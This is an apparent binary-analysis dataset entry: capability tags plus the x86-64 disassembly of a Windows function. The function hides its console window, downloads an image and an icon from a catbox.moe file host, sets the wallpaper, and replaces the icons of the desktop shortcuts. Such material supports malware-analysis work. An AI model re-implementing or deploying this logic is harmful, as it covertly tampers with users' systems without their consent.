Function at 0x4027f3
Capabilities:
Change the wallpaper
Create http request
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xee8
lea rbp, [rsp + 0x80]
call fcn.00402b1a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0x1a
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, 1
test eax, eax
je 0x402862
mov eax, esi
add rsp, 0xee8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
mov dword [rsp + 0x20], eax
lea r8, str._s_random_wallpaper__d.png
lea rcx, [rbp + 0xa40]
lea rsi, [rbp + 0x3d0]
mov r9, rsi
call fcn.004026ac
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
mov dword [rsp + 0x20], eax
lea r8, str._s_random_shortcut__d.png
lea rcx, [rbp + 0xc50]
mov r9, rsi
call fcn.004026ac
mov dword [rsp + 0x20], 0
lea rcx, str.File_Downloader
mov esi, 1
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x40284c
mov rdi, rax
lea rdx, str.https:__files.catbox.moe_3h08ly.png
lea r8, [rbp + 0xa40]
mov rcx, rax
call fcn.004026ea
test eax, eax
je 0x402ada
lea rdx, str.https:__files.catbox.moe_zmv166.ico
lea r8, [rbp + 0xc50]
mov rcx, rdi
call fcn.004026ea
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x40284c
xor esi, esi
lea r8, [rbp + 0xa40]
mov ecx, 0x14
xor edx, edx
mov r9d, 3
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
lea rax, [rbp + 0x830]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0x10
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40284c
lea r8, str._s.lnk
lea rdi, [rbp - 0x50]
lea r9, [rbp + 0x830]
mov rcx, rdi
call fcn.004026ac
lea rdx, [rbp + 0x5e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x40284c
mov rdi, rax
lea r14, [rbp + 0x1c0]
xor r13d, r13d
mov rbx, qword [sym.imp.ole32.dll_CoInitialize]
lea r12, [rbp + 0x5e0]
mov r15, qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rax, [rbp + 0x60c]
mov qword [rsp + 0x20], rax
mov rcx, r14
lea r8, str._s_s
lea r9, [rbp + 0x830]
call fcn.004026ac
mov qword [rbp + 0xe58], r13
mov qword [rbp + 0xe60], r13
xor ecx, ecx
call rbx
test eax, eax
js 0x402abb
lea rax, [rbp + 0xe58]
mov qword [rsp + 0x20], rax
lea rcx, [0x004072b4]
xor edx, edx
mov r8d, 1
lea r9, [0x004072a4]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x402ab5
mov rcx, qword [rbp + 0xe58]
mov rax, qword [rcx]
lea rdx, [0x00407294]
lea r8, [rbp + 0xe60]
call qword [rax]
test eax, eax
js 0x402aa8
mov rcx, qword [rbp + 0xe60]
mov rax, qword [rcx]
mov rdx, r14
mov r8d, 2
call qword [rax + 0x28]
test eax, eax
js 0x402a9b
mov rcx, qword [rbp + 0xe58]
mov rax, qword [rcx]
lea rdx, [rbp + 0xc50]
xor r8d, r8d
call qword [rax + 0x88]
mov rcx, qword [rbp + 0xe60]
mov rax, qword [rcx]
mov rdx, r14
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0xe60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xe58]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, rdi
mov rdx, r12
call r15
test eax, eax
jne 0x4029c7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40284c
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40284c